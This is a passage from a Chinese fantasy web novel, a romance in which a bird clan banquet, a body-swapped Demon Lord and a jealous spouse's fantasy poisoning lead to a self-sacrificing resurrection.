宋先锦芊芊玉指,端起眼前的茶杯轻啜了一口,“来者不善。” 宋先名见妹妹都这么说,不悦的皱起眉头,“你怎么也打起了退堂鼓。” “大哥就算带着魔尊回来了又如何,距离他们成亲都过去多久了,也没见他们怀个一胎二崽的,还不是会被族人看不起。” 宋先锦想到这个,也闷笑了一声,不过笑意却没有抵达眼底。 “说不好啊,大哥这次能带魔尊回来,搞不好下次就能带着孩子回来,寿宴这段时日咱们还是缩着脑袋做人吧。” “晚了。” 宋先锦一愣,抬起漂亮的凤眸去看二哥,宋先名递给她一个不怀好意的笑。 “这都怪我的手下不懂事,将咱们鸟族盛宴的请柬也给尊后送去了一份。” 宋先锦闻言眼睛瞪大,追问道:“怎么可能……不是听说魔尊将尊后看的很紧,你是用了什么法子让人找见了月轻盈?” “没什么……怎么说我们鸟族在魔尊麾下也还算是有名,做为尊后,夫君麾下的人寄来的请柬可不能做到真正的无视不是吗?” 宋先锦反应了过来。 沈砚台再怎么保护月轻盈,也总有疏漏的时候。 “那……尊后会不会来宴会?” “他可是第一仙尊月轻盈啊,就算现在沦为魔族的尊后,到底也还是懂得些人际来往吧,不为他自己考虑,他照样得考虑魔尊的处境。” 宋先锦一听,噗嗤笑了出来,眼里有着得意和算计,“看大哥书信里那炫耀的样子,不知道在他看到月轻盈到场的那一刻,表情会不会难看的跟墨汁一样。” “一想到那个画面肯定会十分有趣。” 宋先名和宋先锦相互对视了一眼,哈哈大笑了起来。 而宋先名口中的请柬也确实被有心人给成功送到了月轻盈的手中。 请柬是小狐狸送来的。 两人多日未见,一个历经生死,一个受到诸多折磨,再见时心中百感交集,但都做到了情绪不外露。 小狐狸一板一眼,递上请柬说明来者是鸟族宋家邀约。 月轻盈拿到请柬那一刻,是有些犹豫的。 “他们怎么会送请柬给我?他们是魔,我虽然名义上是尊后,但我却是正道修士。” 小狐狸看了他两眼,谨言慎行,“尊后若是不想去可以不去。” 月轻盈纠结,看向小狐狸:“魔尊……知晓这件事吗?” 小狐狸思索道:“该是知晓的,魔尊对尊后的用心……” “够了,别说了。”月轻盈打断他的话,有些疲惫道:“我知道了,让我想想。” 想着今日自己的所见所闻,宫里的一些传闻,小狐狸犹豫再三,还是说了出口。 “尊后,听说最近魔尊和宋先生走的很近。” 月轻盈抬手摸肚子的动作一顿,一息后,他牵起嘴角笑笑,没有说话。 很快就到了鸟族宴会的举办之期。 月轻盈左思右想,还是唤来了小狐狸,让她去回复,他应下了这次的邀约。 鸟族的邀请他可以不去,也能避开很多的麻烦事宜。 可若是去了,搞清楚他们什么把戏,知道他们什么心思,他也能心安一点。 不是为了沈砚台着想,也不是为了他自己,而是为了他腹中的三个小生命。 再者说……这个假的沈砚台到底想干什么,真的沈砚台……是出事了吗? “尊后,你喝点水吧。” 坐在独角兽拉着的车撵,小狐狸见月轻盈出神许久,忍不住出言提醒。 他们现在是在去鸟族宋府的路上。 距离开宴还有很多时间,他们一点也不着急。 “谢谢。”月轻盈接过茶杯抿了一口,收回神,放下茶杯,看向一旁给他捶腿的小狐狸,眉眼纠结。 “小狐狸,你觉得最近魔尊……可有什么变化?” 小狐狸低垂着眉眼,叹了口气,看来尊后还是在乎宫里那些谣言的。 但真的要说变化……也确实有让她值得注意的地方。 “魔尊……没有以前那么凶了。” 月轻盈想起了那个威胁他的假的沈砚台,眉头嫌弃的一拧。 小狐狸仔细观察他的表情,预感说错话了,渐渐收声。 “还有就是……和宋先生走的越来越近了。” 月轻盈抿唇。 小狐狸道:“听说这次鸟族的盛宴,魔尊和宋先灵坐一辆车走的。” 月轻盈发呆。 小狐狸又道:“宋先灵这次带着魔尊回去的意义,想来十分的重大,他在鸟族的地位肯定也能上升不少吧。” 月轻盈淡淡嗯了一声。 小狐狸担心他伤心,忧心忧虑地安慰:“魔尊肯定是有什么原因……尊后你且再等等,魔尊肯定还是心悦你的。” 月轻盈眸光落在眼前的茶杯,看着里面漂浮的香茗,眼神虚无缥缈。 “不好说……” 一路无话。 车撵来到宋府。 月轻盈一下车就看到了许多精美华贵的车撵,想来这次宴会的意义的确很是重大。 小狐狸跟在他左右细心伺候。 宋府的小斯见到来人拿着请柬,便知道是贵客临门,高声招呼着贵客往里走,不多时,来了两个婢女在前头为他们带路。 离宴会越来越近,笑闹声,乐器悠扬的声音便会越来越清晰。 月轻盈垂首走路,脑子里想着不着边际的事,真的沈砚台难道还在人间吗…… 沈砚台也就是食灵花,此刻被宋先灵拉着挨坐在宋府鸟族族长的身侧。 按他的身份,不和这些人同桌都是合理的,但是食灵花不甚在意这些俗礼。 魔尊坐在一族族长的身侧,且他的身份还是族长的女婿时,这在旁人看来就多了一份含义。 魔尊很重视宋先灵。 宋先灵此刻脸色红润,眼睛都是亮晶晶,穿着一身蓝色的衣裳,整个人容光焕发,出落的很是惹眼。 和他同桌的宋先名,宋先锦,眼神不耐,面上却是赔笑着。 “哥夫……额……魔尊,小女可以这样称呼您吗?”宋先锦不敢直视沈砚台。 “可以。”食灵花扫了她一眼。 “那太好了,明明是一家人喊魔尊很生疏,喊哥夫就亲近多了。”宋先锦笑起来,凤眸微弯。 “在家里可以喊哥夫,出门在外还是当喊魔尊。”鸟族族长一张和蔼可亲的脸,笑声爽朗。 食灵花弯弯唇,没应。 知道他的性格,宋先灵笑着道:“在外面也可以喊哥夫的,你们哥夫就是话不多,其实人很好。” “好,那以后我们没事可就去找你们玩了。”宋先锦是女孩子,说话软,不算冒犯。 “自然,自家姊妹姐弟更要多照顾些。”宋先灵实话实说。 “大哥今天在这么盛大的宴会上带哥夫回来,那下次的家宴上,我们是不是可以看见大哥带着哥夫还有我们的小侄子?” 宋先灵嘴角的笑意一僵,看向说话的人宋先名,他气的有些想发作。 但今日毕竟是万年一次族内盛宴,兹事体大,忍耐了下来。 “我们现在还小,你哥夫现在以整顿修真界为首要,孩子的事情我们不急。” “呼……还好还好,原来受大哥和哥夫现在不想要孩子啊,我们还以为……” 宋先锦插话,话说到一半就堪堪闭了嘴,剩下的话大家自行发挥。 闻言,众人都不约而同的看向宋先灵的腹部。 沈砚台是魔尊,自然没有人敢质疑他的能力,所以一切的外界压力便落到了宋先灵的身上。 感受着那些让他招架不住的难堪视线,宋先灵暗自咬牙,看向对面吃的开心的宋先名和宋先锦,眼里淬了毒。 他的这两个弟弟妹妹,……在他的事情上真是喜欢见缝插针,见不得他好。 原因就是因为他们两个当初也力荐自己,想要嫁给魔尊,坐享其成。 不曾想,他们都落选了。 有了魔尊这个绝佳的结亲对象,再看其他人早已入不了他们的眼了。 所以他们才会对他这么尖酸刻薄,主要还是因为他们并没有放弃魔尊身边人的位置的目的。 “以为什么?” 气氛凝重间,一直很少说话的食灵花出面了,“以为你大哥身体不好,不能生孩子?” 他把话挑明说,当真是撕破了在场众人的伪装。 “你大哥身体很好,是我舍不得,谁家如花似玉的少年郎,年纪轻轻就生孩子?我只是舍不得让他疼。” 宋先灵身心俱震,猛地转头看向沈砚台,心里有多少感动他比谁都清楚。 他的发言对他来说,就是解救。 宋先名和宋先锦也是一愣,没想到是这个局面,魔尊……竟然为宋先灵出面了! 那他们先前打听到的,宋先灵在魔尊这里倍受冷落是假的谣言? 经此一役,众人看宋先灵的眼神瞬间就不一样了。 鸟族族长见势不对,瞪了一眼宋先名和宋先锦,赶忙出声打圆场。 “还是我们女婿体贴啊,把话说清楚也好,省得一些有心人胡乱猜测。” 他看向埋着头不发一言的宋先名和宋先锦,眼里有着警告。 “魔尊,先灵啊,你们别多虑,两个孩子也是担心你们,鸟族的生育在我们这里是大事,鸟族的子嗣成亲后就生育是我们这一族的传承,两个小辈不懂事,都是我这个老的没教好,让大家看笑话了,老家伙我今天就自罚三杯!” 说完,鸟族族长便仰头喝了三杯酒水下肚,登时,引来了一片欢呼。 “哎呀,原来是弟弟妹妹关心大哥,不妨事不妨事。” “哎呦,这样才显得兄弟姐妹们的血脉情谊啊。” “不过……看魔尊这话,想来你们没多久就该有好消息传出来了。” 众人哄笑,很快将刚才的气氛赶走。 宋先名和宋先锦闹了个没脸,正绞尽脑汁想着下一个计谋的时候,忽然听到扬起的高昂的声音。 “尊后到!” 瞬间陷入一脸安静。 而后是纷乱的氛围。 “尊后?” “什么尊后?” “是我想的那个尊后?” “他怎么来了?” “不会是来砸场子的吧?” “有可能,毕竟魔尊现在和宋大少爷走的近,拈酸吃醋来撒泼也不是没可能。” 一群人眼巴巴的看着入口。 宋先灵错愕,不敢置信的看向入口,尊后怎么会来? 他立刻看向鸟族族长,他的亲爹,但见鸟族族长也是一脸茫然的样子,便知道他也不知晓。 尊后的到来,很明显是有人做了个局。 他下意识地扫了一眼宋先名和宋先锦,见两人眼神闪烁,立刻就明白了一切。 他气的龇目欲裂,手紧握成拳,若不是今日受鸟族万年一次的盛宴,不得杀生,他肯定早就动手了。 食灵花也很诧异。 他回过头,不紧不慢的看着款步走来的月轻盈,眼眸一点点发亮。 他今日穿了一身粉红,毕竟是喜庆的宴会,不能夺了主人家的风采,便穿的很淡雅。 他肌肤白,搭配粉色的衣服,显得他看起来很娇嫩,他又是少年姿态,愈发显得他如花般鲜艳欲滴。 最瞩目的是他那有些微微隆起的小腹,行走间破开的风一揽,孕肚根本藏不住。 众人见状,又是一愣。 尊后……这是怀孕了啊! 怀的是谁的孩子,都不用猜,就能想到那个人是谁。 这…… 众人期期艾艾,齐齐扭头,视线下移,去看宋先灵的肚子,平的,没货。 这一对比就出来了啊。 尊后不确定在魔尊这里受不受宠,但是他有了魔尊的孩子。 宋先灵在魔尊这里看似受宠,但却没有孩子。 微妙。 非常微妙。 气氛一下子又尴尬了起来。 月轻盈不知道先前发生了什么事,只当这股怪异的气氛是因自己而起。 他有些羞赫,回身接过小狐狸手上拖着的贺礼,施施然道:“听闻鸟族万年盛宴,我受邀参加没怎么准备,薄礼送上,还望主家不要嫌弃。” 一听是受邀,又来送礼,鸟族族长立刻反应过来,让人安排就坐。 月轻盈本想送完礼就走,但鸟族族长拼命挽留,就变成了,他坐在沈砚台左侧,宋先灵坐在沈砚台右侧的画面。 “尊后得到来真是让寒舍蓬荜生辉。”鸟族族长出言寒暄。 “是我叨扰了。” “尊后能来就是喜上加喜,来人,上茶。” 众人一言不吭,密切关注着主桌的一切动向。 “尊后您能来,真是让我受宠若惊。” 关系在这里,宋先灵也不能当个瞎子聋子,便也只能僵硬着脸出声打招呼。 “该来的,喜事,让我也沾沾喜气。” 宋先名和宋先锦也和月轻盈说话了,他都表现的落落大方,不卑不亢,礼仪很得体。 不过,坐在主位上真正的大人物还没有发话呢。 众人静静看下去。 许是也察觉到了试探的视线,月轻盈率先开了口,“见过魔尊。” 食灵花挑眉,倒是好奇起他这副镇定自若的样子,明明知道他不是真的沈砚台,还能这么坦然。 倒是让他对他生了不少兴趣。 “夫人路途辛苦,吃点点心吧。”食灵花端起桌子上的雪花糕往他的面前递了递。 “谢谢魔尊。” “夫人喜欢就好。” 众人:“……” 这相处模式,很是相敬如宾啊! 但是…… 尊后一来,魔尊的眼睛就没放在宋先灵身上了欸。 议论声纷扰,宋先灵换股四周,客人们都在交头接耳,他像是得了失心疯,怀疑这些人都在说他坏话。 他一时脸色苍白,整个人都失色了很多,没了先前的光彩。 宋先名和宋先锦相互对视一眼,对对对,他们要的就是这个效果。 只是,这么一点刺激对于他们那个心机深沉的大哥可起不了什么作用。 应该在做点什么呢? 恰好这时候有婢女上茶,宋先锦便暗地里施法。 婢女是从宋先灵这边上的茶,忽然她身子一歪,那滚烫的茶水就开始往外泼。 惊呼声四起。 嘴里衔着糕点的月轻盈迷茫抬头,下一秒,就被身侧的人拉着护到了怀里。 “哎呦,这下子肯定烫的不轻。” “魔尊救美,好看,好看极了!” 什么? 猝不及防的拉扯,月轻盈的糕点没有拿稳,他缓缓抬头,就见着一席宽大的衣袍。 他依偎在沈砚台的怀里,他一臂前屈,曳地的袖袍将他的前方遮的严严实实。 有一丝丝热气升腾,他探头看一眼,黑色的袖袍已被水给濡湿。 刚才那一杯滚烫的热茶是沈砚台帮他挡了去。 “盈盈,你没事吧?” 沈砚台的语气不稳,里面是浓浓的担心,他关切的掰正过月轻盈的身子一阵仔细的检查。 月轻盈听到熟稔的盈盈两个字,目光发烫,紧紧盯着沈砚台。 他确认,刚才那个沈砚台是真的沈砚台。 他……回来了吗? 众人也是混乱一片。 一叠声的问月轻盈有没有事,月轻盈都笑脸相迎回答没事。 众人松口气,转瞬将目光对准宋先灵。 刚才上茶的婢女离宋先灵最近,水之前不泼,怎么偏偏挑现在泼。 看着众人怀疑的目光,宋先灵脸的惨白,急切解释道:“不是,不是我,是这个婢女身子忽然往我这边倒,我也不知道发生了什么……” 他举目四顾,看清楚众人的目光便知,他们是不信的。 这一刻,他惊慌无错,无助的看向沈砚台,期盼他能解围。 然而沈砚台只是抬眼,眸底颜色很深很深的瞪着他。 宋先灵愈发心慌:“不是的,不是的魔尊,不是我做的。” “闭嘴!”沈砚台忽然喝了一声,用魔气将宋先灵震飞,倒跌进不远处的湖水里。 场面混乱不堪。 下人们急着去救宋先灵。 宋先名和宋先锦达到了自己的目的在一旁偷笑,鸟族族长为今日的事扼腕叹息,捶胸哀叹。 一身是水狼狈不堪的宋先灵,只锲而不舍的看着沈砚台打横抱起月轻盈带着他走了,至此至终,一眼都没有看过他。 失望的酸苦上心头,宋先灵默默垂泪。 灵台中。 食灵花睁一只眼闭一只眼,无语道:“有必要吗,只不过是一杯热水,何至于这么大动干戈?” 事发时,沈砚台立刻用自己剩余的龙骨跟食灵花做交易,交换掌控身体一盏茶的时间。 得以救下差点被热水烫伤的月轻盈。 回想起来,食灵花还是觉得不可思议,“咱们都不是普通人,一杯热水,就算泼上了也就只是衣服会变湿而已。” 沈砚台无言以对。 但他不能跟食灵花解释,当看到危险来临,他心里的紧张和害怕被无限放大了多少倍。 “就算是一杯茶也不行!”沈砚台如此坚定道。 食灵花翻白眼,“行行行,你最好祈祷月轻盈走路别摔着,吃饭别噎着,不然你就准备准备拿你身体里其他的东西跟我换身体的支配权。” 沈砚台不言。 食灵花又想到了什么,“说起来,你到底怎么才会死?” 沈砚台紧紧抱着怀中的月轻盈,用宽大的衣袖替他挡去寒风。 见他不回答,食灵花又问起自己关心的事:“不是说有了孩子会分去你的名数吗,为什么你放任这个人怀你的孩子?” 沈砚台还是不说,他蹭着月轻盈的头发,嗅着他的发香,拥着他的体温才感受到了真实,他真的很想念他。 以至于他无法分心回答食灵花的话。 食灵花兀自揣测:“该不会这个孩子不是你的吧,你别莫是喜当爹,不然我能笑到你死,哈哈哈哈!” 无视脑子里食灵花吵吵闹闹的声音。 等来到月华宫,沈砚台轻手轻脚的将月轻盈放下。 脚尖一碰地,月轻盈就手脚用力抗拒的将沈砚台推开。 沈砚台剥了皮,剜了骨,抽了龙脉,炼化一身精血,现在虚弱的不行。 连一点推力都承受不住,咳嗽了两声膝盖一软单膝跪地,脸色煞白如将死之人。 月轻盈被他吓到了,“你……你怎么这样?” 还能得到他的关心,沈砚台很愉悦,他笑了起来,“真好,你还会关心我。” 月轻盈一愣,脸色冷了下来,“你先前去了哪里?” 知道他指的是在人间的事,沈砚台没有解释,只是费力的起身,眼神贪恋的在他身上停留。 第66章 第66章 生死难料真是唐突 月轻盈紧蹙着眉头。 沈砚台看的一愣, 心头苦涩蔓延,他移开视线,眼圈有些红。 “没什么, 就是在人间走了走。” “在人间走了走?” 月轻盈不信, 见沈砚台面容无光, 唇色惨白,默默握紧了拳头。 若是没事,怎会被别人霸占魔尊的位置,让他人假扮自己。 鬼使神差地, 月轻盈忽然问出了一句连他都惊讶的话, “你会死吗?” 沈砚台怔然,脑海中蓦然想起曾经月轻盈哭喊着咒骂他死的言辞。 “你……这么想我死啊。” 月轻盈唇瓣张了张, 终究是没有做声。 长亭前,古树下, 彼此就在面前,却谁都没有看向对方。 沈砚台低下头, 声音有些漂浮, “别着急, 我总是会死的。” 月轻盈不知为何鼻尖发酸,他频率很高的加快了眨眼的速度, 只默默嗯了一声。 许是不想就这么快就和月轻盈分别,沈砚台缓缓抬起头, 眼眸柔柔的落在他微微隆起的腹部。 “对不起啊, 我不该杀了你徒弟的。” 月轻盈心脏像是被一只无形的手揪紧,不可置信地看着道歉的沈砚台。 “我让你怀孕让他们还能在陪你一起,也算是……” “呵,事到如今我说什么都弥补不了我的罪过。” 月轻盈抿紧唇瓣一声不吭, 只执着的看着自顾自话的沈砚台。 沈砚台说:“我死之前大概会去佛前坐一坐。” 说完这句话,他的身影就这么消散在空气里。 月轻盈上前一步想要捕捉他的行踪,可他消失的太快,他伸出去的手只抓住一袭清风。 灵台中,和食灵花互换回身体的沈砚台,此刻已经虚弱的恢复了原身。 赤色的蛟龙匍匐在地,身影一天比一天缩小,盘缠在他身上的食灵花的根茎越来越庞大。 他就成了养分那般,一点也不挣扎等着被吞噬。 一旁的食灵花看了好久,冷眼道:“我绝不会变成你这个样子。” 沈砚台意识变地浮浮沉沉,对此他没有任何回应,脑海中莫名回荡起了一句话。 恶人之善,生于悔,随于转,贵在变,弃恶从善,善莫大焉。 他呜咽了一声,他死了就再也见不到月轻盈了,就再也偿还不了他亏欠了太多太多的月轻盈了。 走在去宋先灵住处的路上,食灵花没忘记,宴会上沈砚台对宋先灵大打出手的一幕。 他对宋先灵没什么心思,只是…… 看着眼前宋先灵住着的屋子,他又停下了脚步,自己这样来找对于他来说,是不是太煞有其事了。 片刻后,食灵花转身离去。 “少爷,魔尊……走了。” 身为鸟族,对气味本就敏感,宋先灵早已察觉,别说是他身边的婢女了。 一声重重地叹气从宋先灵的嘴边溢出。 “少爷……”婢女担心的看着他。 宋先灵在椅子上呆坐了一会儿,忽然面无表情的挥手将面前桌子上的物件都扫落在地。 “少爷……”婢女吓了一跳,惊恐抬眼看去,却见宋先灵起身,开始打砸物件。 “他怎么能这样对我!”宋先灵哭泣不止,狠狠发问! “我要杀了他!” 见着一室的破碎,宋先灵出了气,眼里浮现出恶意,“谁不知道魔尊的原身是蛟龙。” “少爷……”婢女无措的呼喊。 宋先灵高台下巴,眼睛猩红,语气冷绝:“哼,可是他怎么忘了,我们鸟族可是出现过凤凰。” “如若不是这些年鸟族衰败,当年纵横三界五行的龙也不敢小看了我们鸟族。” “这次我要用鸟族族宝凤凰喙,用来回敬让我在宴会上出丑的魔尊大人!” 凤凰喙,凤凰喙尖沟壑中分泌的口液,可以侵蚀万物,让被其破坏后不能复原,剧毒。 婢女闻言脸色煞白,瑟缩着身体。 月色如波。 坐在屋檐攒尖角上的食灵花,正在品尝其他族长送来的美酒。 正感叹岁月静好,忽听身后传来了脚步声。 他略微侧目,便知来人,面色不变,手中摇晃着美酒,举起抿了一口。 一步步走来坐在他身侧的宋先灵,一开始沉默不语,片刻后落泪,缓缓将脑袋倚在食灵花的肩膀。 “魔尊大人我恨你。” 初出世间就被人恨的食灵花很无辜,但是想到确实自己也有责任,且宋先灵没有跟他大吵大闹,倒是让他起来亏欠之意。 “我补偿你。” 闻言,宋先灵一怔,坐起身子,浅笑了一下,“那……我想看魔尊跳舞。” 食灵花表情古怪,他想起了沈砚台让月轻盈跳舞的场景。 “不……” “是我逾矩了,魔尊大人为难,便给我跳个剑舞吧。” 宋先灵立刻改口,食灵花思忖,答应了下来。 “我给你拿着酒壶。” 手上一空,见酒壶已经落入了宋先灵的手中,食灵花挑眉,随即不紧不慢地站起身。 剑舞…… 他不屑一顾,便还是用了自己拿手的招式。 他先是变出了一大丛的鲜花,手指一弯,那些鲜花便齐齐跳起舞来了。 清风中,花香馥郁,见状,没有喝酒的宋先灵都觉得自己有了一丝醉意。 他脸颊不受控制的红了起来,“魔尊大人,你知道鲜花跳舞,对我们鸟族来说代表设什么意思嘛?” “什么?”食灵花几个阔步坐在了自己的位置。 宋先灵的眼神有些出神道,“我们鸟族是吃花朵的,那些跳舞的花就像是在呼唤我们去吃他。” “每到花儿跳舞的季节,我们鸟族就会迎来……” 食灵花懂了。 鸟族的繁殖期。 食灵花斜眼看着那些跳舞跳的欢快的花朵,默默掐诀。 “别。”看穿了他的动作,宋先灵连忙打断,“花儿跳舞也很是好看,我现在也不是要……” 他看了一眼食灵花,继而迅速转移视线。 食灵花听出了他的话中有话,犹豫了一瞬,便停了手。 “喝酒。”宋先灵忽然将酒还给食灵花。 食灵花毫无察觉,伸手接过,在宋先灵的注视下引用了一口。 宋先灵见状,慢慢的收回视线。 月亮倒映着两个人靠得极进。 就在宋先灵发呆的空隙,食灵花突然开口了,“你要是喜欢花,从现在起我每天都送你一束。” 宋先灵怔然,眼瞳瞪大,看向食灵花的眼瞳中满是不可置信。 食灵花被他逗笑,想了想说,“每天送的花都不一样。” 宋先灵看着他,忽然哭了,又笑了。 食灵花看满头问号,就听宋先灵声音很轻很轻的说了句:“好。” 不多时,两人之间散发出了笑声。 食灵花回去的时候,醉醺醺的。 灵台中。 察觉出食灵花虚弱的沈砚台,主动撕开了自己的眉心,一颗已经十分暗淡的魂珠晃悠悠地飘了出来。 沈砚台的眼睛已经有点看不见了,声音虚弱的交代,“救人,做好事,虔诚拜佛。” 魂珠离开沈砚台的主体,变成了一条小蛇,从月华宫中离开。 他如沈砚台说的那般,去了下界救人,做了好事,然后找到一座寺庙诚心拜佛。 这日,阳光明媚,朝拜的百姓赶早。 魂珠拜佛拜的困顿不已,忽然听见一个男人对着佛像虔诚的念念有词。 “希望佛祖保佑我的娘子,保佑我未出世的孩子平安健康。” 魂珠一瞬间振奋起来,学着男人的样子,絮絮叨叨着蛇语。 食灵花真的如他先前说的话那般,开始给宋先灵送花。 宋先灵的眼神里充满了悲伤和怜悯,还有一丝痛快。 只是随着时间的加长,宋先灵的眼眸中出现了焦急,还有一丝担忧。 这日,食灵花捧着白色的食灵花来见宋先灵,路至一半,他忽然心口浮躁哇地吐出一口血来。 眼前白色的食灵花被鲜血染红,不复纯白,他没有顾及自己的伤势,而是慌乱的伸手用手擦拭鲜血。 可他越擦拭,浸在花朵上的血还是逐渐晕开,他急得用衣袖去擦,谁知,力气过大,花朵直接被揉断,掉落在地面。 食灵花一怔,忽然心神剧痛,他一个没撑住,腿一软摔倒在地上。 手中的花跌落出去,他伸手去够,却无能为力,只身体抽搐着大口大口呕血。 日头快过晌午。 宋先灵的住所前,立着两道身影。 婢女垫脚探头张望,“少爷好奇怪啊,魔尊今日怎地还没来?” 宋先灵半垂着脑袋,一言不发,等了许久未等到人,背影失落的往屋内走。 “先灵……” 这时,一道虚弱的声音出现。 宋先灵的身影一顿,他还未回头,身边的婢女便先叫唤出声。 “少爷,是魔尊!” 宋先灵心里一紧,猛地回身,就见食灵花倚靠着石柱,身姿比先前还要挺拔,手上拿着一束艳红的花。 “不好意思,我来迟了,主要是最近的天气太热了,扰的我都不记得时辰了……” 宋先灵见他絮絮叨叨说着,身躯却是怪异的颤抖着,察觉不对劲,脑中忽然想到凤凰喙,立刻如当头棒喝。 他抬眼去看食灵花,眼泪慕地滑落,快速奔向他,张开手就是一个密不可分的拥抱。 “你……是不是出了什么事?” “你……怎么哭了?” 两人的声音同时响起。 两人俱都一震。 宋先灵松开食灵花,弯唇想笑,目光在触及他唇边流出的血时,泪光盈动。 “你先说。”他捧着食灵花的脸,指腹不着痕迹的擦去血迹,眼泪颗颗掉落。 “没事……就是最近身体略感疲惫,我能不能……等身体好转再来给你送花?” 食灵花头晕炫目,脚步虚浮,若不是宋先灵眼疾手快的架住他,他估计又会摔倒。 察觉他整个身体的重量都压在自己身上,宋先灵哭的更凶了。 他死死攥着食灵花的衣服,哭嚎道:“好,等你身体好了,你再来送我花,我什么时候都等你。” 食灵花笑了一下,有些失神的在宋先灵耳边念叨。 “对不起啊,上次宴会的事让你受了委屈。” “还有一个秘密我没有告诉你……” “其实我很早就来了……可是走到一半,我不知为何开始吐血……我擦了好久的血,才来见你……” “一路上,我有没有力气,就走走停停,终于……见到你了。” 每听他说一句话,宋先灵的心就如刀在割,他哽咽道:“你骗人……你不是最喜欢月轻盈吗?” “什么……不啊……我最喜欢你了……” 食灵花意识不轻,他自己都不知道自己说了什么,只知道他说的话都是发自肺腑。 他气息萎靡:“可能是从给你送花吧,可能是从你在宴会上受委屈没有找我发脾气吧……我越来越对你上心……” 宋先灵听愣了,原来……他是在意自己的。 食灵花费劲的凑到宋先灵的耳边说:“还有啊……我觉得你比月轻盈好看。” 宋先灵短促的哭了两下,最后,抱着失去了意识的食灵花哭的好大声。 灵台中。 身体又缩小了一圈了沈砚台,突然察觉到吸食自己的食灵花的力气变小了,根茎的颜色也从苍翠变的灰败。 这是怎么了? “食灵花怎么……” 他挣扎着奄奄一息的身体,转头看去,这才发现,食灵花呈现成黑紫色,这分明是中毒之相,且还是剧毒。 “食灵花!” 沈砚台在灵台中唤着食灵花的神魂。 片刻,一道虚弱的白色身影出现在他眼前。 “食灵花……” “沈砚台……” 食灵花打断了沈砚台,面带歉意道:“对不住啊,我好像中毒了,连累你要跟我一起死了。” “你怎么会中毒。”沈砚台心中一紧,有些发怔,怎么这么突然。 他还想再见见月轻盈,就要永远都见不到了吗? 他茫然落泪。 食灵花却是嘻嘻笑着道:“对不住啊,我先前还跟你说我不会变成你这个样子,但是我失言了,我好像喜欢上那个宋先灵了。” “宋先灵……”沈砚台神魂无思,无意义的念着名字。 食灵花说:“我能感觉到我的生命力在消失,真可笑,我居然这么早就死了,早知道,我就不和你争夺身体使用权了。” 食灵花有些遗憾道:“沈砚台你比我厉害,要是我的神魂死了,你还活着,你便吞噬了我吧。” “食灵花你不能就这样死了。”沈砚台慌忙无措,他还想见月轻盈,他还有好多的错误没有去弥补。 食灵花的身影渐渐变淡,他满目哀愁的看着沈砚台说:“我以后再也不嘲笑你为爱所困的样子了……” 许是想到了宋先灵,食灵花苦笑了一声,“生死难料,真是唐突,现在想想,他竟是连我的名字都不知……” 看着食灵花消散的痕迹,沈砚台挣扎着自己千疮百孔的身体,就在这时,盘踞在他身上的食灵花整株轰然倒塌。 沈砚台红着眼举目看去,是一望无际的黑暗。 食灵花死了。 察觉到沈砚台断气的宋先灵大哭着抱紧了他的身体,发疯一样喊着不可以不行他不能死。 “你为什么要对我好,让我在鸟族宴会上受委屈就不要再管我了啊,为什么在我去找你的时候,你丝毫不对我设防,将你的酒给我拿着,你不是很厉害吗,为什么察觉不出我对你下了毒?” “不是在意月轻盈吗,为什么说你在意我,为什么都快要被毒死了还要坚守誓约来给我送花……” “少爷……”婢女看他这副陷入癫狂的样子,吓得哭泣不止。 “不行,我不能就这样让你死了,我还……我还没和你生孩子,我还没,宣告别人你在意的人是我,我还没看到宋先名宋先锦见我过的好的嫉妒样子……你给我起来!” 宋先灵哭着嘶吼着。 “我一定要救活你。” 说着,他运起自己的魔力,逼出了自己内丹悬于沈砚台的眉心吸取他体内的毒素。 “少爷……”婢女吓得瞪大了眼睛,扑上去阻止他,“少爷,万万不可啊,你用内丹吸收了毒素,你也是受伤的。” “滚开!”宋先灵怒喝。 婢女眼睁睁地看着宋先灵金色的内丹变成了黑色,沈砚台灰败的脸色恢复了红润。 沈砚台有了生气,但还没有复活。 见状,宋先灵的脸上闪过喜色,他提起衣摆郑重下跪。 “上天大地,我乃鸟族宋先灵,求你们降下生机,救活我……”宋先灵看了一眼沈砚台,眼里有着坚定,再度道。 “求你们降下生机,救活我的夫君沈砚台,我愿意用五千年寿命和机遇做为交换,求你们救活我的夫君沈砚台!” “少爷……”婢女瞪大眼睛,这次说什么都要阻止。 她挡在宋先灵面前,噗通跪地,哭的不能自已,“少爷不可啊,五千年寿命……我们鸟族总也只才能活……万年,族长知道了该有多伤心啊……” “是我害的他没命,还他一条罢了,你也说了鸟族能活万年,五千年寿命没了,我还剩下五百年的寿命,和他恩爱五百年怎么说也算是圆了我想和他厮守的愿望。” 不顾婢女哑然的模样,宋先灵闭上眼睛,等待上天大地收取他的寿命和机遇。 愿望有效。 生命力被剥夺的痛苦让宋先灵忍不住大叫出声,婢女在一边心疼的直哭。 灵台中。 沈砚台的身躯以肉眼可见的速度恢复完好,不知如此,他的修为还升阶了。 他虽迷惑,却也顺势而为。 庞大盘踞着的赤色蛟龙,一跃而起,他回首看着枯萎的食灵花,察觉出他体内无穷的力量,终是将他吞噬。 沈砚台醒来的时候,身体很沉,不是受伤的沉,而是被压着的沉。 掀开眼皮瞅了一眼,才发现是有人趴在他的身上睡着了。 就着窗棂中透过来的光,他细细打量,这才发现这人是宋先灵。 他一愣,继而想到了食灵花说的他在意的人,原来是宋先灵。 很快,他就搞清楚了情况。 当时,他和食灵花必死无疑,想来是宋先灵向上天大地献祭了什么才换回了这条命。 只是…… 宋先灵不知道食灵花的名字,而食灵花又以沈砚台的身份出现。 这才有了,他为什么活着,食灵花死了的局面。 他看着宋先灵目光不忍。 许是察觉到了目光,宋先灵幽幽转醒,当眼瞳对视上一双幽深的眼眸时,他一愣,随即,欣喜落下了泪。 “你终于醒了,我好想你。”宋先灵就着趴在沈砚台身上的姿势,伸手紧紧将他抱住。 沈砚台挣扎,看出宋先灵眼中的深情,他不敢误承了他的情。 沉默良久后,他眼里带着歉意看向宋先灵,打算说出真相。 “我不是那个在意你的沈砚台。” 沉稳的声音,打散了宋先灵的喜悦,他懵然的起身。 沈砚台垂着脑袋道,说清楚了事情的来龙去脉。 宋先灵眼中含泪,只觉得一切都太荒唐了,他不可置信的摇头,又哭又笑。 “你说你才是沈砚台,先前那个送我花的是别人?” “好,那个人是谁!你把他还给我!” “还不了,他死了,你救他的时候不知道他的名字,以为他是沈砚台,所以……他没有活……” 宋先灵备受打击。 救活的人不是在意他的沈砚台。 而是那个视月轻盈如命的沈砚台。 “上苍真会开玩笑……”宋先灵接受不了的无措呢喃。 沈砚台歉意的看着他。 宋先灵忽然发疯了似的对他出招动手,“如果你不是他那你就去死啊!把他还给我!” 